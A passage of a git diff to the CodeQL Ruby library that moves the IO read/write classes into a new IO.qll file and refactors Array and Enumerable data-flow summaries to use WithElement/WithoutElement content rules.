-   */
-  class IOReader extends IOOrFileReadMethodCall {
-    IOReader() { this.getApi() = "IO" }
-  }
-
-  /**
-   * A `DataFlow::CallNode` that writes data using the `IO` class. For example,
-   * the `write` and `puts` calls in:
-   *
-   * ```rb
-   * # writes the string `hello world` to the file `foo.txt`
-   * IO.write("foo.txt", "hello world")
-   *
-   * # appends the string `hello again\n` to the file `foo.txt`
-   * IO.new(IO.sysopen("foo.txt", "a")).puts("hello again")
-   * ```
-   *
-   * This class includes only writes that use the `IO` class directly, not those
-   * that use a subclass of `IO` such as `File`.
-   */
-  class IOWriter extends IOOrFileWriteMethodCall {
-    IOWriter() { this.getApi() = "IO" }
-  }
-
-  /**
-   * A `DataFlow::CallNode` that reads data to the filesystem using the `IO`
-   * or `File` classes. For example, the `IO.read` and `File#readline` calls in:
-   *
-   * ```rb
-   * # reads the file `foo.txt` and returns its contents as a string.
-   * IO.read("foo.txt")
-   *
-   * # reads from the file `foo.txt`, returning its first line as a string
-   * File.new("foo.txt").readline
-   * ```
-   */
-  class FileReader extends IOOrFileReadMethodCall, FileSystemReadAccess::Range {
-    FileReader() { not this.spawnsSubprocess() }
-
-    override DataFlow::Node getADataNode() { result = this.getADataNodeImpl() }
-
-    override DataFlow::Node getAPathArgument() { result = this.getAPathArgumentImpl() }
-  }
-
-  /**
-   * A `DataFlow::CallNode` that reads data from the filesystem using the `IO`
-   * or `File` classes. For example, the `write` and `puts` calls in:
-   *
-   * ```rb
-   * # writes the string `hello world` to the file `foo.txt`
-   * IO.write("foo.txt", "hello world")
-   *
-   * # appends the string `hello again\n` to the file `foo.txt`
-   * File.new("foo.txt", "a").puts("hello again")
-   * ```
-   */
-  class FileWriter extends IOOrFileWriteMethodCall, FileSystemWriteAccess::Range {
-    FileWriter() { not this.spawnsSubprocess() }
-
-    override DataFlow::Node getADataNode() { result = this.getADataNodeImpl() }
-
-    override DataFlow::Node getAPathArgument() { result = this.getAPathArgumentImpl() }
-  }
-}
+private import core.IO
+private import core.Kernel::Kernel
+private import core.internal.IOOrFile
 
 /**
  * Classes and predicates for modeling the core `File` module.
@@ -330,7 +73,7 @@ module File {
               ])
       or
       // Instance methods
-      exists(FileInstance fi |
+      exists(File::FileInstance fi |
         this.getReceiver() = fi and
         this.getMethodName() = ["path", "to_path"]
       )
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/core/Array.qll b/ruby/ql/lib/codeql/ruby/frameworks/core/Array.qll
index cbd633286c4..f13f38dae6d 100644
--- a/ruby/ql/lib/codeql/ruby/frameworks/core/Array.qll
+++ b/ruby/ql/lib/codeql/ruby/frameworks/core/Array.qll
@@ -66,13 +66,8 @@ module Array {
         input = "Argument[1]" and
         output = "ReturnValue.Element[?]"
         or
-        exists(ArrayIndex i |
-          input = "Argument[0].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-        or
-        input = "Argument[0].Element[?]" and
-        output = "ReturnValue.Element[?]"
+        input = "Argument[0].WithElement[any]" and
+        output = "ReturnValue"
         or
         input = "Argument[block].ReturnValue" and
         output = "ReturnValue.Element[?]"
@@ -89,15 +84,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
-      (
-        exists(ArrayIndex i |
-          input = "Argument[0].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-        or
-        input = "Argument[0].Element[?]" and
-        output = "ReturnValue.Element[?]"
-      ) and
+      input = "Argument[0].WithElement[any]" and
+      output = "ReturnValue" and
       preservesValue = true
     }
   }
@@ -145,12 +133,10 @@ module Array {
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       (
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
         or
-        input = ["Argument[self].Element[?]", "Argument[0].Element[any]"] and
+        input = "Argument[0].Element[any]" and
         output = "ReturnValue.Element[?]"
       ) and
       preservesValue = true
@@ -177,13 +163,8 @@ module Array {
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       (
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-        or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
         or
         input = "Argument[0]" and
         output = ["ReturnValue.Element[?]", "Argument[self].Element[?]"]
@@ -192,12 +173,17 @@ module Array {
     }
   }
 
+  private class ElementReferenceReadMethodName extends string {
+    ElementReferenceReadMethodName() { this = ["[]", "slice"] }
+  }
+
   /** A call to `[]`, or its alias, `slice`. */
   abstract private class ElementReferenceReadSummary extends SummarizedCallable {
     MethodCall mc;
+    ElementReferenceReadMethodName methodName; // adding this as a field helps give a better join order
 
     bindingset[this]
-    ElementReferenceReadSummary() { mc.getMethodName() = ["[]", "slice"] }
+    ElementReferenceReadSummary() { mc.getMethodName() = methodName }
 
     override MethodCall getACall() { result = mc }
   }
@@ -207,7 +193,7 @@ module Array {
     private ConstantValue cv;
 
     ElementReferenceReadKnownSummary() {
-      this = mc.getMethodName() + "(" + cv.serialize() + ")" and
+      this = methodName + "(" + cv.serialize() + ")" and
       mc.getNumberOfArguments() = 1 and
       cv = getKnownElementIndex(mc.getArgument(0))
     }
@@ -225,7 +211,7 @@ module Array {
    */
   private class ElementReferenceReadUnknownSummary extends ElementReferenceReadSummary {
     ElementReferenceReadUnknownSummary() {
-      this = mc.getMethodName() + "(index)" and
+      this = methodName + "(index)" and
       mc.getNumberOfArguments() = 1 and
       isUnknownElementIndex(mc.getArgument(0))
     }
@@ -267,7 +253,7 @@ module Array {
           or
           rl.isExclusive() and end = e - 1
         ) and
-        this = "[](" + start + ".." + end + ")"
+        this = methodName + "(" + start + ".." + end + ")"
       )
     }
 
@@ -291,7 +277,7 @@ module Array {
    */
   private class ElementReferenceRangeReadUnknownSummary extends ElementReferenceReadSummary {
     ElementReferenceRangeReadUnknownSummary() {
-      this = "[](range_unknown)" and
+      this = methodName + "(range_unknown)" and
       (
         mc.getNumberOfArguments() = 2 and
         (
@@ -340,11 +326,10 @@ module Array {
       input = "Argument[1]" and
       output = "Argument[self].Element[" + cv.serialize() + "]" and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isSingleton(any(DataFlow::Content::KnownElementContent c | c.getIndex() = cv))
+      or
+      input = "Argument[self].WithoutElement[" + cv.serialize() + "]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -386,11 +371,10 @@ module Array {
         output = "Argument[self].Element[?]" and
         preservesValue = true
       )
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -466,9 +450,10 @@ module Array {
   private class ClearSummary extends SimpleSummarizedCallable {
     ClearSummary() { this = "clear" }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -544,14 +529,12 @@ module Array {
         or
         input = "Argument[block].ReturnValue" and
         output = "ReturnValue"
+        or
+        input = "Argument[self].WithoutElement[any]" and
+        output = "Argument[self]"
       ) and
       preservesValue = true
     }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
-    }
   }
 
   abstract private class DeleteAtSummary extends SummarizedCallable {
@@ -560,9 +543,10 @@ module Array {
     bindingset[this]
     DeleteAtSummary() { mc.getMethodName() = "delete_at" }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
 
     override MethodCall getACall() { result = mc }
@@ -578,16 +562,26 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       (
         input = "Argument[self].Element[?]" and
         output = ["ReturnValue", "Argument[self].Element[?]"]
         or
-        exists(ArrayIndex j | input = "Argument[self].Element[" + j + "]" |
-          j < i and output = "Argument[self].Element[" + j + "]"
+        input = "Argument[self].Element[" + i + "]" and
+        output = "ReturnValue"
+        or
+        input = "Argument[self].Element[" + i + "]" and
+        output = "ReturnValue"
+        or
+        exists(ArrayIndex j |
+          j < i and
+          input = "Argument[self].WithElement[" + j + "]" and
+          output = "Argument[self]"
           or
-          j = i and output = "ReturnValue"
-          or
-          j > i and output = "Argument[self].Element[" + (j - 1) + "]"
+          j > i and
+          input = "Argument[self].Element[" + j + "]" and
+          output = "Argument[self].Element[" + (j - 1) + "]"
         )
       ) and
       preservesValue = true
@@ -601,6 +595,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       input = "Argument[self].Element[any]" and
       output = ["ReturnValue", "Argument[self].Element[?]"] and
       preservesValue = true
@@ -615,11 +611,10 @@ module Array {
       output =
         ["Argument[block].Parameter[0]", "ReturnValue.Element[?]", "Argument[self].Element[?]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -697,13 +692,8 @@ module Array {
         input = "Argument[self].Element[any]" and
         output = "Argument[block].Parameter[0]"
         or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
       ) and
       preservesValue = true
     }
@@ -713,15 +703,8 @@ module Array {
     EachIndexSummary() { this = "each_index" }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
-      (
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-      ) and
+      input = "Argument[self].WithElement[any]" and
+      output = "ReturnValue" and
       preservesValue = true
     }
   }
@@ -798,9 +781,12 @@ module Array {
       if exists(mc.getBlock()) then mc.getNumberOfArguments() = 0 else mc.getNumberOfArguments() = 1
     }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -844,14 +830,12 @@ module Array {
             "Argument[self].Element[any].Element[any].Element[any]"
           ] and
         output = ["Argument[self].Element[?]", "ReturnValue.Element[?]"]
+        or
+        input = "Argument[self].WithoutElement[any]" and
+        output = "Argument[self]"
       ) and
       preservesValue = true
     }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
-    }
   }
 
   private class IndexSummary extends SimpleSummarizedCallable {
@@ -893,8 +877,8 @@ module Array {
         exists(ArrayIndex j |
           // Existing elements before the insertion point are unaffected.
           j < i and
-          input = "Argument[self].Element[" + j + "]" and
-          output = r + ".Element[" + j + "]"
+          input = "Argument[self].WithElement[" + j + "]" and
+          output = r
           or
           // Existing elements after the insertion point are shifted by however
           // many values we're inserting.
@@ -908,11 +892,10 @@ module Array {
           output = r + ".Element[" + (i + j - 1) + "]"
         )
       )
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -961,11 +944,10 @@ module Array {
       output =
         ["ReturnValue.Element[?]", "Argument[self].Element[?]", "Argument[block].Parameter[0]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1084,11 +1066,10 @@ module Array {
           output = "Argument[self].Element[" + i + "]"
         )
       )
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1114,13 +1095,8 @@ module Array {
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       (
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-        or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
         or
         exists(int i | i in [0 .. (mc.getNumberOfArguments() - 1)] |
           input = "Argument[" + i + "]" and
@@ -1139,11 +1115,10 @@ module Array {
       output =
         ["ReturnValue.Element[?]", "Argument[self].Element[?]", "Argument[block].Parameter[0]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1151,20 +1126,13 @@ module Array {
     ReplaceSummary() { this = "replace" }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
-      exists(string r | r = ["ReturnValue", "Argument[self]"] and preservesValue = true |
-        input = "Argument[0].Element[?]" and
-        output = r + ".Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[0].Element[" + i + "]" and
-          output = r + ".Element[" + i + "]"
-        )
-      )
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      input = "Argument[0].WithElement[any]" and
+      output = ["ReturnValue", "Argument[self]"] and
+      preservesValue = true
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1247,9 +1215,10 @@ module Array {
 
     override MethodCall getACall() { result = mc }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1264,6 +1233,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       exists(string r | r = ["Argument[self]", "ReturnValue"] and preservesValue = true |
         input = "Argument[self].Element[?]" and
         output = r + ".Element[?]"
@@ -1288,6 +1259,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       input = "Argument[self].Element[any]" and
       output = ["Argument[self].Element[?]", "ReturnValue.Element[?]"] and
       preservesValue = true
@@ -1303,11 +1276,10 @@ module Array {
       output =
         ["Argument[block].Parameter[0]", "Argument[self].Element[?]", "ReturnValue.Element[?]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1319,9 +1291,10 @@ module Array {
 
     override MethodCall getACall() { result = mc }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1329,6 +1302,8 @@ module Array {
     ShiftNoArgSummary() { this = "shift" and not exists(mc.getArgument(0)) }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       preservesValue = true and
       (
         input = "Argument[self].Element[?]" and
@@ -1352,15 +1327,21 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       preservesValue = true and
       (
         input = "Argument[self].Element[?]" and
         output = ["ReturnValue.Element[?]", "Argument[self].Element[?]"]
         or
-        exists(ArrayIndex i | input = "Argument[self].Element[" + i + "]" |
-          i < n and output = "ReturnValue.Element[" + i + "]"
+        exists(ArrayIndex i |
+          i < n and
+          input = "Argument[self].WithElement[" + i + "]" and
+          output = "ReturnValue"
           or
-          i >= n and output = "Argument[self].Element[" + (i - n) + "]"
+          i >= n and
+          input = "Argument[self].Element[" + i + "]" and
+          output = "Argument[self].Element[" + (i - n) + "]"
         )
       )
     }
@@ -1406,9 +1387,10 @@ module Array {
     bindingset[this]
     SliceBangSummary() { mc.getMethodName() = "slice!" }
 
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+    override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
 
     override Call getACall() { result = mc }
@@ -1425,17 +1407,23 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       preservesValue = true and
       (
         input = "Argument[self].Element[?]" and
         output = ["ReturnValue", "Argument[self].Element[?]"]
         or
-        exists(ArrayIndex i | input = "Argument[self].Element[" + i + "]" |
-          i < n and output = "Argument[self].Element[" + i + "]"
+        input = "Argument[self].Element[" + n + "]" and output = "ReturnValue"
+        or
+        exists(ArrayIndex i |
+          i < n and
+          input = "Argument[self].WithElement[" + i + "]" and
+          output = "Argument[self]"
           or
-          i = n and output = "ReturnValue"
-          or
-          i > n and output = "Argument[self].Element[" + (i - 1) + "]"
+          i > n and
+          input = "Argument[self].Element[" + i + "]" and
+          output = "Argument[self].Element[" + (i - 1) + "]"
         )
       )
     }
@@ -1453,6 +1441,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       input = "Argument[self].Element[any]" and
       output =
         [
@@ -1495,17 +1485,26 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       preservesValue = true and
       (
         input = "Argument[self].Element[?]" and
         output = ["ReturnValue.Element[?]", "Argument[self].Element[?]"]
         or
-        exists(ArrayIndex i | input = "Argument[self].Element[" + i + "]" |
-          i < start and output = "Argument[self].Element[" + i + "]"
+        exists(ArrayIndex i |
+          i < start and
+          input = "Argument[self].WithElement[" + i + "]" and
+          output = "Argument[self]"
           or
-          i >= start and i <= end and output = "ReturnValue.Element[" + (i - start) + "]"
+          i >= start and
+          i <= end and
+          input = "Argument[self].Element[" + i + "]" and
+          output = "ReturnValue.Element[" + (i - start) + "]"
           or
-          i > end and output = "Argument[self].Element[" + (i - (end - start + 1)) + "]"
+          i > end and
+          input = "Argument[self].Element[" + i + "]" and
+          output = "Argument[self].Element[" + (i - (end - start + 1)) + "]"
         )
       )
     }
@@ -1536,6 +1535,8 @@ module Array {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
+      super.propagatesFlowExt(input, output, preservesValue)
+      or
       input = "Argument[self].Element[any]" and
       output = ["Argument[self].Element[?]", "ReturnValue.Element[?]"] and
       preservesValue = true
@@ -1553,11 +1554,10 @@ module Array {
           "Argument[self].Element[?]", "ReturnValue.Element[?]"
         ] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1569,11 +1569,10 @@ module Array {
       output =
         ["Argument[block].Parameter[0]", "Argument[self].Element[?]", "ReturnValue.Element[?]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1602,11 +1601,10 @@ module Array {
       output =
         ["Argument[self].Element[?]", "ReturnValue.Element[?]", "Argument[block].Parameter[0]"] and
       preservesValue = true
-    }
-
-    override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-      pos.isSelf() and
-      content.isAnyElement()
+      or
+      input = "Argument[self].WithoutElement[any]" and
+      output = "Argument[self]" and
+      preservesValue = true
     }
   }
 
@@ -1858,13 +1856,8 @@ module Enumerable {
         input = "Argument[self].Element[any]" and
         output = "Argument[block].Parameter[0]"
         or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
       ) and
       preservesValue = true
     }
@@ -1878,13 +1871,8 @@ module Enumerable {
         input = "Argument[self].Element[any]" and
         output = "Argument[block].Parameter[0].Element[?]"
         or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
       ) and
       preservesValue = true
     }
@@ -1898,13 +1886,8 @@ module Enumerable {
         input = "Argument[self].Element[any]" and
         output = "Argument[block].Parameter[0]"
         or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-        or
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
+        input = "Argument[self].WithElement[any]" and
+        output = "ReturnValue"
       ) and
       preservesValue = true
     }
@@ -1975,8 +1958,8 @@ module Enumerable {
       (
         exists(ArrayIndex i |
           i < n and
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
+          input = "Argument[self].WithElement[" + i + "]" and
+          output = "ReturnValue"
         )
         or
         input = "Argument[self].Element[?]" and
@@ -1994,30 +1977,28 @@ module Enumerable {
     }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
-      (
-        exists(ArrayIndex i |
-          input = "Argument[self].Element[" + i + "]" and
-          output = "ReturnValue.Element[" + i + "]"
-        )
-        or
-        input = "Argument[self].Element[?]" and
-        output = "ReturnValue.Element[?]"
-      ) and
+      input = "Argument[self].WithElement[any]" and
+      output = "ReturnValue" and
       preservesValue = true
     }
   }
 
+  private class GrepMethodName extends string {
+    GrepMethodName() { this = ["grep", "grep_v"] }
+  }
+
   abstract private class GrepSummary extends SummarizedCallable {
     MethodCall mc;
+    GrepMethodName methodName; // adding this as a field helps give a better join order
 
     bindingset[this]
-    GrepSummary() { mc.getMethodName() = ["grep", "grep_v"] }
+    GrepSummary() { mc.getMethodName() = methodName }
 
     override MethodCall getACall() { result = mc }
   }
 
   private class GrepBlockSummary extends GrepSummary {
-    GrepBlockSummary() { this = mc.getMethodName() + "(block)" and exists(mc.getBlock()) }
+    GrepBlockSummary() { this = methodName + "(block)" and exists(mc.getBlock()) }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       (
@@ -2032,7 +2013,7 @@ module Enumerable {
   }
 
   private class GrepNoBlockSummary extends GrepSummary {
-    GrepNoBlockSummary() { this = mc.getMethodName() + "(no_block)" and not exists(mc.getBlock()) }
+    GrepNoBlockSummary() { this = methodName + "(no_block)" and not exists(mc.getBlock()) }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       input = "Argument[self].Element[any]" and
@@ -2052,18 +2033,23 @@ module Enumerable {
     }
   }
 
+  private class InjectMethodName extends string {
+    // `reduce` is an alias for `inject`.
+    InjectMethodName() { this = ["inject", "reduce"] }
+  }
+
   abstract private class InjectSummary extends SummarizedCallable {
     MethodCall mc;
+    InjectMethodName methodName; // adding this as a field helps give a better join order
 
-    // `reduce` is an alias for `inject`.
     bindingset[this]
-    InjectSummary() { mc.getMethodName() = ["inject", "reduce"] }
+    InjectSummary() { mc.getMethodName() = methodName }
 
     override MethodCall getACall() { result = mc }
   }
 
   private class InjectNoArgSummary extends InjectSummary {
-    InjectNoArgSummary() { this = mc.getMethodName() + "_no_arg" and mc.getNumberOfArguments() = 0 }
+    InjectNoArgSummary() { this = methodName + "_no_arg" and mc.getNumberOfArguments() = 0 }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       // The no-argument variant of inject passes element 0 to the first block
@@ -2083,7 +2069,7 @@ module Enumerable {
   }
 
   private class InjectArgSummary extends InjectSummary {
-    InjectArgSummary() { this = mc.getMethodName() + "_arg" and mc.getNumberOfArguments() > 0 }
+    InjectArgSummary() { this = methodName + "_arg" and mc.getNumberOfArguments() > 0 }
 
     override predicate propagatesFlowExt(string input, string output, boolean preservesValue) {
       (
@@ -2101,18 +2087,23 @@ module Enumerable {
     }
   }
 
+  private class MinOrMaxByMethodName extends string {
+    MinOrMaxByMethodName() { this = ["min_by", "max_by"] }
+  }
+
   abstract private class MinOrMaxBySummary extends SummarizedCallable {
     MethodCall mc;
+    MinOrMaxByMethodName methodName; // adding this as a field helps give a better join order
 
     bindingset[this]
-    MinOrMaxBySummary() { mc.getMethodName() = ["min_by", "max_by"] }
+    MinOrMaxBySummary() { mc.getMethodName() = methodName }
 
     override MethodCall getACall() { result = mc }
   }
 
   private class MinOrMaxByNoArgSummary extends MinOrMaxBySummary {
     MinOrMaxByNoArgSummary() {
-      this = mc.getMethodName() + "_no_arg" and
+      this = methodName + "_no_arg" and
       mc.getNumberOfArguments() = 0
     }
 
@@ -2125,7 +2116,7 @@ module Enumerable {
 
   private class MinOrMaxByArgSummary extends MinOrMaxBySummary {
     MinOrMaxByArgSummary() {
-      this = mc.getMethodName() + "_arg" and
+      this = methodName + "_arg" and
       mc.getNumberOfArguments() > 0
     }
 
@@ -2136,18 +2127,23 @@ module Enumerable {
     }
   }
 
+  private class MinOrMaxMethodName extends string {
+    MinOrMaxMethodName() { this = ["min", "max"] }
+  }
+
   abstract private class MinOrMaxSummary extends SummarizedCallable {
     MethodCall mc;
+    MinOrMaxMethodName methodName; // adding this as a field helps give a better join order
 
     bindingset[this]
-    MinOrMaxSummary() { mc.getMethodName() = ["min", "max"] }
+    MinOrMaxSummary() { mc.getMethodName() = methodName }
 
     override MethodCall getACall() { result = mc }
   }
 
   private class MinOrMaxNoArgNoBlockSummary extends MinOrMaxSummary {
     MinOrMaxNoArgNoBlockSummary() {
-      this = mc.getMethodName() + "_no_arg_no_block" and
+      this = methodName + "_no_arg_no_block" and
       mc.getNumberOfArguments() = 0 and
       not exists(mc.getBlock())
     }
@@ -2161,7 +2157,7 @@ module Enumerable {
 
   private class MinOrMaxArgNoBlockSummary extends MinOrMaxSummary {
     MinOrMaxArgNoBlockSummary() {
-      this = mc.getMethodName() + "_arg_no_block" and
+      this = methodName + "_arg_no_block" and
       mc.getNumberOfArguments() > 0 and
       not exists(mc.getBlock())
     }
@@ -2175,7 +2171,7 @@ module Enumerable {
 
   private class MinOrMaxNoArgBlockSummary extends MinOrMaxSummary {
     MinOrMaxNoArgBlockSummary() {
-      this = mc.getMethodName() + "_no_arg_block" and
+      this = methodName + "_no_arg_block" and
       mc.getNumberOfArguments() = 0 and
       exists(mc.getBlock())
     }
@@ -2189,7 +2185,7 @@ module Enumerable {
 
   private class MinOrMaxArgBlockSummary extends MinOrMaxSummary {
     MinOrMaxArgBlockSummary() {
-      this = mc.getMethodName() + "_arg_block" and
+      this = methodName + "_arg_block" and
       mc.getNumberOfArguments() > 0 and
       exists(mc.getBlock())
     }
@@ -2363,8 +2359,8 @@ module Enumerable {
         output = "ReturnValue.Element[?]"
         or
         exists(ArrayIndex j | j < i |
-          input = "Argument[self].Element[" + j + "]" and
-          output = "ReturnValue.Element[" + j + "]"
+          input = "Argument[self].WithElement[" + j + "]" and
+          output = "ReturnValue"
         )
       ) and
       preservesValue = true
diff --git a/ruby/ql/lib/codeql/ruby/frameworks/core/IO.qll b/ruby/ql/lib/codeql/ruby/frameworks/core/IO.qll
new file mode 100644
index 00000000000..9eff02a4a57
--- /dev/null
+++ b/ruby/ql/lib/codeql/ruby/frameworks/core/IO.qll
@@ -0,0 +1,153 @@
+/**
